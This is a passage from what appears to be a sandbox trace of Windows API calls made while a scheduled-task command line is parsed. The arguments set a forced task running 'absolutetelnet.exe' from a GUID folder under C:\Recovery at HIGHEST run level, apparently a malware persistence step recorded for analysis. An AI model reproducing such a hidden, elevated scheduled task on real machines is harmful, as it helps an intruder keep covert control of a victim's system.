[0146.666] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0146.666] SetLastError (dwErrCode=0x490) [0146.666] lstrlenW (lpString="query") returned 5 [0146.666] lstrlenW (lpString="query") returned 5 [0146.666] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.666] lstrlenW (lpString="tr") returned 2 [0146.666] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.666] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|query|") returned 7 [0146.666] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tr|") returned 4 [0146.666] lstrlenW (lpString="|query|") returned 7 [0146.666] lstrlenW (lpString="|tr|") returned 4 [0146.666] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0146.667] SetLastError (dwErrCode=0x490) [0146.667] lstrlenW (lpString="change") returned 6 [0146.667] lstrlenW (lpString="change") returned 6 [0146.667] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.667] lstrlenW (lpString="tr") returned 2 [0146.667] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.667] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|change|") returned 8 [0146.667] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tr|") returned 4 [0146.667] lstrlenW (lpString="|change|") returned 8 [0146.667] lstrlenW (lpString="|tr|") returned 4 [0146.667] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0146.667] SetLastError (dwErrCode=0x490) [0146.667] lstrlenW (lpString="run") returned 3 [0146.667] lstrlenW (lpString="run") returned 3 [0146.667] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.667] lstrlenW (lpString="tr") returned 2 [0146.667] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.667] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|run|") returned 5 [0146.667] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tr|") returned 4 [0146.667] lstrlenW (lpString="|run|") returned 5 [0146.667] lstrlenW (lpString="|tr|") returned 4 [0146.667] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0146.667] SetLastError (dwErrCode=0x490) [0146.667] lstrlenW (lpString="end") returned 3 [0146.667] lstrlenW (lpString="end") returned 3 [0146.667] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.667] lstrlenW (lpString="tr") returned 2 [0146.667] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.668] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|end|") returned 5 [0146.668] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tr|") returned 4 [0146.668] lstrlenW (lpString="|end|") returned 5 [0146.668] lstrlenW (lpString="|tr|") returned 4 [0146.668] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0146.668] SetLastError (dwErrCode=0x490) [0146.668] lstrlenW (lpString="showsid") returned 7 [0146.668] lstrlenW (lpString="showsid") returned 7 [0146.668] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.668] lstrlenW (lpString="tr") returned 2 [0146.668] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.668] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|showsid|") returned 9 [0146.668] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tr|") returned 4 [0146.668] lstrlenW (lpString="|showsid|") returned 9 [0146.668] lstrlenW (lpString="|tr|") returned 4 [0146.668] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0146.668] SetLastError (dwErrCode=0x490) [0146.668] SetLastError (dwErrCode=0x490) [0146.668] SetLastError (dwErrCode=0x0) [0146.668] lstrlenW (lpString="/tr") returned 3 [0146.668] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0146.668] SetLastError (dwErrCode=0x490) [0146.668] SetLastError (dwErrCode=0x0) [0146.668] lstrlenW (lpString="/tr") returned 3 [0146.668] GetProcessHeap () returned 0x3b0000 [0146.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc340 [0146.668] GetProcessHeap () returned 0x3b0000 [0146.668] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd90 [0146.669] SetLastError (dwErrCode=0x0) [0146.669] SetLastError (dwErrCode=0x0) [0146.669] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.669] lstrlenW (lpString="-/") returned 2 [0146.669] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0146.669] SetLastError (dwErrCode=0x490) [0146.669] SetLastError (dwErrCode=0x490) [0146.669] SetLastError (dwErrCode=0x0) [0146.669] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.669] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'" [0146.669] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.669] GetProcessHeap () returned 0x3b0000 [0146.669] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc360 [0146.669] _memicmp (_Buf1=0x3cc360, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.669] GetProcessHeap () returned 0x3b0000 [0146.669] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cc380 [0146.669] GetProcessHeap () returned 0x3b0000 [0146.669] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc3a0 [0146.669] _memicmp (_Buf1=0x3cc3a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.669] GetProcessHeap () returned 0x3b0000 [0146.669] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8e) returned 0x3cc3c0 [0146.669] SetLastError (dwErrCode=0x7a) [0146.669] SetLastError (dwErrCode=0x0) [0146.669] SetLastError (dwErrCode=0x0) [0146.669] lstrlenW (lpString="'C") returned 2 [0146.669] lstrlenW (lpString="-/") returned 2 [0146.669] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0146.670] SetLastError (dwErrCode=0x490) [0146.670] SetLastError (dwErrCode=0x490) [0146.670] SetLastError (dwErrCode=0x0) [0146.670] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.670] GetProcessHeap () returned 0x3b0000 [0146.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8c) returned 0x3cc460 [0146.670] GetProcessHeap () returned 0x3b0000 [0146.670] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccdc0 [0146.670] SetLastError (dwErrCode=0x0) [0146.670] SetLastError (dwErrCode=0x0) [0146.670] lstrlenW (lpString="/rl") returned 3 [0146.670] lstrlenW (lpString="-/") returned 2 [0146.670] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.670] lstrlenW (lpString="?") returned 1 [0146.670] lstrlenW (lpString="?") returned 1 [0146.670] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.670] lstrlenW (lpString="rl") returned 2 [0146.670] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.670] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|?|") returned 3 [0146.670] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|rl|") returned 4 [0146.670] lstrlenW (lpString="|?|") returned 3 [0146.670] lstrlenW (lpString="|rl|") returned 4 [0146.670] SetLastError (dwErrCode=0x490) [0146.670] lstrlenW (lpString="create") returned 6 [0146.670] lstrlenW (lpString="create") returned 6 [0146.670] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.670] lstrlenW (lpString="rl") returned 2 [0146.670] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.670] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.671] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|rl|") returned 4 [0146.671] lstrlenW (lpString="|create|") returned 8 [0146.671] lstrlenW (lpString="|rl|") returned 4 [0146.671] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0146.671] SetLastError (dwErrCode=0x490) [0146.671] lstrlenW (lpString="delete") returned 6 [0146.671] lstrlenW (lpString="delete") returned 6 [0146.671] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.671] lstrlenW (lpString="rl") returned 2 [0146.671] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.671] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|delete|") returned 8 [0146.671] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|rl|") returned 4 [0146.671] lstrlenW (lpString="|delete|") returned 8 [0146.671] lstrlenW (lpString="|rl|") returned 4 [0146.671] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0146.671] SetLastError (dwErrCode=0x490) [0146.671] lstrlenW (lpString="query") returned 5 [0146.671] lstrlenW (lpString="query") returned 5 [0146.671] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.671] lstrlenW (lpString="rl") returned 2 [0146.671] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.671] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|query|") returned 7 [0146.671] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|rl|") returned 4 [0146.671] lstrlenW (lpString="|query|") returned 7 [0146.671] lstrlenW (lpString="|rl|") returned 4 [0146.671] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0146.672] SetLastError (dwErrCode=0x490) [0146.672] lstrlenW (lpString="change") returned 6 [0146.672] lstrlenW (lpString="change") returned 6 [0146.672] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.672] lstrlenW (lpString="rl") returned 2 [0146.672] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.672] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|change|") returned 8 [0146.672] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|rl|") returned 4 [0146.672] lstrlenW (lpString="|change|") returned 8 [0146.672] lstrlenW (lpString="|rl|") returned 4 [0146.672] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0146.672] SetLastError (dwErrCode=0x490) [0146.672] lstrlenW (lpString="run") returned 3 [0146.672] lstrlenW (lpString="run") returned 3 [0146.672] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.672] lstrlenW (lpString="rl") returned 2 [0146.672] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.672] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|run|") returned 5 [0146.672] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|rl|") returned 4 [0146.672] lstrlenW (lpString="|run|") returned 5 [0146.672] lstrlenW (lpString="|rl|") returned 4 [0146.672] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0146.672] SetLastError (dwErrCode=0x490) [0146.672] lstrlenW (lpString="end") returned 3 [0146.672] lstrlenW (lpString="end") returned 3 [0146.672] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.673] lstrlenW (lpString="rl") returned 2 [0146.673] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.673] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|end|") returned 5 [0146.673] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|rl|") returned 4 [0146.673] lstrlenW (lpString="|end|") returned 5 [0146.673] lstrlenW (lpString="|rl|") returned 4 [0146.673] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0146.673] SetLastError (dwErrCode=0x490) [0146.673] lstrlenW (lpString="showsid") returned 7 [0146.673] lstrlenW (lpString="showsid") returned 7 [0146.673] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.673] lstrlenW (lpString="rl") returned 2 [0146.673] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.673] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|showsid|") returned 9 [0146.673] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|rl|") returned 4 [0146.673] lstrlenW (lpString="|showsid|") returned 9 [0146.673] lstrlenW (lpString="|rl|") returned 4 [0146.673] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0146.673] SetLastError (dwErrCode=0x490) [0146.673] SetLastError (dwErrCode=0x490) [0146.673] SetLastError (dwErrCode=0x0) [0146.673] lstrlenW (lpString="/rl") returned 3 [0146.673] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0146.673] SetLastError (dwErrCode=0x490) [0146.673] SetLastError (dwErrCode=0x0) [0146.673] lstrlenW (lpString="/rl") returned 3 [0146.673] GetProcessHeap () returned 0x3b0000 [0146.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc500 [0146.674] GetProcessHeap () returned 0x3b0000 [0146.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccdf0 [0146.674] SetLastError (dwErrCode=0x0) [0146.674] SetLastError (dwErrCode=0x0) [0146.674] lstrlenW (lpString="HIGHEST") returned 7 [0146.674] lstrlenW (lpString="-/") returned 2 [0146.674] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0146.674] SetLastError (dwErrCode=0x490) [0146.674] SetLastError (dwErrCode=0x490) [0146.674] SetLastError (dwErrCode=0x0) [0146.674] lstrlenW (lpString="HIGHEST") returned 7 [0146.674] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0146.674] SetLastError (dwErrCode=0x490) [0146.674] SetLastError (dwErrCode=0x0) [0146.674] lstrlenW (lpString="HIGHEST") returned 7 [0146.674] GetProcessHeap () returned 0x3b0000 [0146.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd530 [0146.674] GetProcessHeap () returned 0x3b0000 [0146.674] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cce20 [0146.674] SetLastError (dwErrCode=0x0) [0146.674] SetLastError (dwErrCode=0x0) [0146.674] lstrlenW (lpString="/f") returned 2 [0146.674] lstrlenW (lpString="-/") returned 2 [0146.674] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.674] lstrlenW (lpString="?") returned 1 [0146.674] lstrlenW (lpString="?") returned 1 [0146.674] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.674] lstrlenW (lpString="f") returned 1 [0146.674] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.675] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|?|") returned 3 [0146.675] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|f|") returned 3 [0146.675] lstrlenW (lpString="|?|") returned 3 [0146.675] lstrlenW (lpString="|f|") returned 3 [0146.675] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0146.675] SetLastError (dwErrCode=0x490) [0146.675] lstrlenW (lpString="create") returned 6 [0146.675] lstrlenW (lpString="create") returned 6 [0146.675] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.675] lstrlenW (lpString="f") returned 1 [0146.675] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.675] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.675] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|f|") returned 3 [0146.675] lstrlenW (lpString="|create|") returned 8 [0146.675] lstrlenW (lpString="|f|") returned 3 [0146.675] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0146.675] SetLastError (dwErrCode=0x490) [0146.675] lstrlenW (lpString="delete") returned 6 [0146.675] lstrlenW (lpString="delete") returned 6 [0146.675] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.675] lstrlenW (lpString="f") returned 1 [0146.675] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.675] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|delete|") returned 8 [0146.675] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|f|") returned 3 [0146.675] lstrlenW (lpString="|delete|") returned 8 [0146.675] lstrlenW (lpString="|f|") returned 3 [0146.675] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0146.675] SetLastError (dwErrCode=0x490) [0146.675] lstrlenW (lpString="query") returned 5 [0146.675] lstrlenW (lpString="query") returned 5 [0146.676] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.676] lstrlenW (lpString="f") returned 1 [0146.676] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.676] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|query|") returned 7 [0146.676] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|f|") returned 3 [0146.676] lstrlenW (lpString="|query|") returned 7 [0146.676] lstrlenW (lpString="|f|") returned 3 [0146.676] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0146.676] SetLastError (dwErrCode=0x490) [0146.676] lstrlenW (lpString="change") returned 6 [0146.676] lstrlenW (lpString="change") returned 6 [0146.676] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.676] lstrlenW (lpString="f") returned 1 [0146.676] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.676] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|change|") returned 8 [0146.676] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|f|") returned 3 [0146.676] lstrlenW (lpString="|change|") returned 8 [0146.676] lstrlenW (lpString="|f|") returned 3 [0146.676] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0146.676] SetLastError (dwErrCode=0x490) [0146.676] lstrlenW (lpString="run") returned 3 [0146.676] lstrlenW (lpString="run") returned 3 [0146.676] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.676] lstrlenW (lpString="f") returned 1 [0146.676] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.676] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|run|") returned 5 [0146.676] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|f|") returned 3 [0146.677] lstrlenW (lpString="|run|") returned 5 [0146.677] lstrlenW (lpString="|f|") returned 3 [0146.677] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0146.677] SetLastError (dwErrCode=0x490) [0146.677] lstrlenW (lpString="end") returned 3 [0146.677] lstrlenW (lpString="end") returned 3 [0146.677] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.677] lstrlenW (lpString="f") returned 1 [0146.677] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.677] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|end|") returned 5 [0146.677] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|f|") returned 3 [0146.677] lstrlenW (lpString="|end|") returned 5 [0146.677] lstrlenW (lpString="|f|") returned 3 [0146.677] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0146.677] SetLastError (dwErrCode=0x490) [0146.677] lstrlenW (lpString="showsid") returned 7 [0146.677] lstrlenW (lpString="showsid") returned 7 [0146.677] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.677] lstrlenW (lpString="f") returned 1 [0146.677] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.677] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|showsid|") returned 9 [0146.677] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|f|") returned 3 [0146.677] lstrlenW (lpString="|showsid|") returned 9 [0146.677] lstrlenW (lpString="|f|") returned 3 [0146.677] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0146.677] SetLastError (dwErrCode=0x490) [0146.677] SetLastError (dwErrCode=0x490) [0146.678] SetLastError (dwErrCode=0x0) [0146.678] lstrlenW (lpString="/f") returned 2 [0146.678] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0146.678] SetLastError (dwErrCode=0x490) [0146.678] SetLastError (dwErrCode=0x0) [0146.678] lstrlenW (lpString="/f") returned 2 [0146.678] GetProcessHeap () returned 0x3b0000 [0146.678] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x6) returned 0x3cdd00 [0146.678] GetProcessHeap () returned 0x3b0000 [0146.678] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cce50 [0146.678] SetLastError (dwErrCode=0x0) [0146.678] GetProcessHeap () returned 0x3b0000 [0146.678] GetProcessHeap () returned 0x3b0000 [0146.678] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc230) returned 1 [0146.678] GetProcessHeap () returned 0x3b0000 [0146.678] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc230) returned 0x8 [0146.678] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc230 | out: hHeap=0x3b0000) returned 1 [0146.678] GetProcessHeap () returned 0x3b0000 [0146.678] GetProcessHeap () returned 0x3b0000 [0146.678] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc40) returned 1 [0146.678] GetProcessHeap () returned 0x3b0000 [0146.678] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc40) returned 0x20 [0146.679] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc40 | out: hHeap=0x3b0000) returned 1 [0146.679] GetProcessHeap () returned 0x3b0000 [0146.679] GetProcessHeap () returned 0x3b0000 [0146.679] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc70) returned 1 [0146.679] GetProcessHeap () returned 0x3b0000 [0146.679] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc70) returned 0x20 [0146.679] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc70 | out: hHeap=0x3b0000) returned 1 [0146.679] GetProcessHeap () returned 0x3b0000 [0146.679] GetProcessHeap () returned 0x3b0000 [0146.679] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccca0) returned 1 [0146.680] GetProcessHeap () returned 0x3b0000 [0146.680] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccca0) returned 0x20 [0146.680] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccca0 | out: hHeap=0x3b0000) returned 1 [0146.680] GetProcessHeap () returned 0x3b0000 [0146.680] GetProcessHeap () returned 0x3b0000 [0146.680] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2c0) returned 1 [0146.680] GetProcessHeap () returned 0x3b0000 [0146.680] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc2c0) returned 0x8 [0146.680] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2c0 | out: hHeap=0x3b0000) returned 1 [0146.680] GetProcessHeap () returned 0x3b0000 [0146.680] GetProcessHeap () returned 0x3b0000 [0146.680] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccd0) returned 1 [0146.680] GetProcessHeap () returned 0x3b0000 [0146.680] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cccd0) returned 0x20 [0146.681] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccd0 | out: hHeap=0x3b0000) returned 1 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2e0) returned 1 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc2e0) returned 0xe [0146.681] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2e0 | out: hHeap=0x3b0000) returned 1 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd00) returned 1 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd00) returned 0x20 [0146.681] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd00 | out: hHeap=0x3b0000) returned 1 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] HeapValidate (hHeap=0x3b0000, 